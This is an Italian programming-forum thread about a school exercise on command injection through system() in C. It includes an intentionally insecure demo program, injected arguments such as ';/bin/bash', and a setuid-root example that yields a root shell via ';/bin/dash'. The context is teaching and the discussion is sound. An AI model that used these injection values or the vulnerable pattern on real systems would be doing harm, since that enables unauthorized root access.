[Risolto] Utilizzare var d'ambiente all'interno di comandi.

Linguaggi di programmazione: php, perl, python, C, bash, ecc.

[Risolto] Utilizzare var d'ambiente all'interno di comandi.

Messaggioda serf88 » sabato 12 maggio 2012, 13:00

Ciao a tutti,
sto cercando di risolvere un esercizio per la scuola, l'obbiettivo è eseguire 2 comandi da shell di cui uno è all'interno di una variabile d'ambiente.
quello che ho pensato è fare:

export AAA="; sh"

la variabile c'è ed è visibile con $AAA ma quando la lego a qualcos'altro per esempio:

ls$AAA mi da errore:

ls: impossibile accedere a ;: File o directory non esistente
ls: impossibile accedere a sh: File o directory non esistente

grazie a tutti per l'attenzione
:ciao:
Ultima modifica di serf88 il domenica 13 maggio 2012, 11:11, modificato 1 volta in totale.
serf88 Non specificato
Prode Principiante
 
Messaggi: 16
Iscrizione: ottobre 2009

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda Laycastle » sabato 12 maggio 2012, 13:08

Non so se ho capito. Intendi
Codice: Seleziona tutto
laycastle $ a=";echo 2"
laycastle $ eval echo 1$a
1
2

?
la via più breve tra due punti è l'arabesco.
Avatar utente
Laycastle Maschile
Entusiasta Emergente
Entusiasta Emergente
 
Messaggi: 1183
Iscrizione: aprile 2011
Località: Torino
Distribuzione: Gentoo ~amd64
Desktop: KDE 4.8

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda serf88 » sabato 12 maggio 2012, 13:19

si esatto il principio è questo. Non c'è un modo per evitare eval? non posso agire prima del primo comando..
serf88 Non specificato
Prode Principiante
 
Messaggi: 16
Iscrizione: ottobre 2009

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda Laycastle » sabato 12 maggio 2012, 13:43

Hum... vorresti essere un po' più esplicito per quanto riguarda la consegna?
Immagino che
Codice: Seleziona tutto
laycastle ~ $ a="echo 2"
laycastle ~ $ echo 1;$a
1
2

non vada bene, giusto?
la via più breve tra due punti è l'arabesco.
Avatar utente
Laycastle Maschile
Entusiasta Emergente
Entusiasta Emergente
 
Messaggi: 1183
Iscrizione: aprile 2011
Località: Torino
Distribuzione: Gentoo ~amd64
Desktop: KDE 4.8

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda serf88 » sabato 12 maggio 2012, 14:16

si esatto cosi' non va bene.
Non esiste una vera e propria consegna, ho un programma che non posso modificare che esegue un comando con system(). Io posso solo inserire in input gli argomenti (filtrati da tutti i caretteri speciali tranne $) di questo primo comando. Il prof ci ha sfidato a far eseguire qualcos'altro programma. Non so se sono stato chiaro..
serf88 Non specificato
Prode Principiante
 
Messaggi: 16
Iscrizione: ottobre 2009

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda Laycastle » sabato 12 maggio 2012, 14:38

Ah, ho capito. In pratica devi trovare il modo di far eseguire codice arbitrario a quel programma in C. :)
Potresti provare qualcosa come
Codice: Seleziona tutto
laycastle $ export a="bash"
laycastle $ su -c 'ls $($a)'
Password:
bash: no job control in this shell
root #
root # exit
exit
ls: impossibile accedere a : File o directory non esistente
laycastle $
la via più breve tra due punti è l'arabesco.
Avatar utente
Laycastle Maschile
Entusiasta Emergente
Entusiasta Emergente
 
Messaggi: 1183
Iscrizione: aprile 2011
Località: Torino
Distribuzione: Gentoo ~amd64
Desktop: KDE 4.8

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda giulux » sabato 12 maggio 2012, 17:04

sposto in programmazione
con l'aiuto della comunità le cose si mettono quasi sempre a posto (e non apposto), a parte (e non apparte) qualche caso ...
Avatar utente
giulux Maschile
Moderatore Globale
Moderatore Globale
 
Messaggi: 13098
Iscrizione: gennaio 2010
Località: Roma
Distribuzione: Ubuntu 14.04.1 LTS x86_64
Desktop: xubuntu

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda crap0101 » domenica 13 maggio 2012, 2:57

bisognerebbe vedere che tipo di controlli fa il programma sugli argomenti che gli passi, perchè per "fregare" system() non ci vuole molto
Codice: Seleziona tutto
crap0101@crap0101-M:~$ cat /tmp/insecure.c
#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char **argv)
{
    char args[100];
    sprintf(args, "%s", "ls");
    int p=2;
    while (*++argv)
        p += sprintf(&args[p], " %s ", *argv);
    puts(args);
    system(args);
    return 0;
}

crap0101@crap0101-M:~$ /tmp/insecure '--version;echo CIAO!'
ls --version;echo CIAO!
ls (GNU coreutils) 8.5
Copyright © 2010 Free Software Foundation, Inc.
Licenza GPLv3+: GNU GPL versione 3 o successive <http://gnu.org/licenses/gpl.html>
Questo è software libero: è possibile modificarlo e ridistribuirlo.
Non c'è ALCUNA GARANZIA, nei limiti permessi dalla legge.

Scritto da Richard M. Stallman e David MacKenzie.
CIAO!
crap0101@crap0101-M:~$



Inoltre, il filtrare o meno il carattere $ è ininfluente dal momento che la $variabile viene espansa dalla shell prima di essere passata al programma.
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
Avatar utente
crap0101 Maschile
Rampante Reduce
Rampante Reduce
 
Messaggi: 7095
Iscrizione: ottobre 2007
Località: TO
Distribuzione: trisquel
Desktop: LXDE

Re: Utilizzare variabili d'ambiente all'interno di comandi.

Messaggioda serf88 » domenica 13 maggio 2012, 11:07

grazie mille crap0101 e Laycastle siete stati gentilissimi!
buona giornata :birra:
serf88 Non specificato
Prode Principiante
 
Messaggi: 16
Iscrizione: ottobre 2009

Re: [Risolto] Utilizzare var d'ambiente all'interno di coman

Messaggioda serf88 » lunedì 14 maggio 2012, 17:34

Già che ci sono vorrei chiedervi una domanda un po teorica.
Se un programma è impostato come posseduto da root e ha il flag setuid impostato. Se esego il programma di crap0101:
./ins ";/bin/bash"
dovrei ottenere una shell di root secondo me. Questo però non accade in pratica come mai? dove sbaglio?
serf88 Non specificato
Prode Principiante
 
Messaggi: 16
Iscrizione: ottobre 2009

Re: [Risolto] Utilizzare var d'ambiente all'interno di coman

Messaggioda crap0101 » lunedì 14 maggio 2012, 23:21

dipende... system() oltre a non essere molto sicura di per sè, è da evitare ancor di più in programmi che hanno impostato il setuid o il setgid perchè potrebbe fare un pò di 'confusione' con le variabili d'ambiente e comportarsi in modo inaspettato (anche nel caso non ci sia malignità).
Altro discorso è bash che non considera questi privilegi... un confronto:
crap0101@crap0101-M:~$ ls -l /tmp/insecure_r
-rwsrws--- 1 root crap0101 8807 2012-05-14 22:40 /tmp/insecure_r
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/bash'
ls ;/bin/bash
[CUT]
bash-4.2$ whoami
crap0101
bash-4.2$ exit
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/dash'
ls ;/bin/dash
[cut]
# whoami
root
#
crap0101@crap0101-M:~$
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
Avatar utente
crap0101 Maschile
Rampante Reduce
Rampante Reduce
 
Messaggi: 7095
Iscrizione: ottobre 2007
Località: TO
Distribuzione: trisquel
Desktop: LXDE


Torna a Programmazione

Chi c’è in linea

Visualizzano questa sezione: rai e 7 ospiti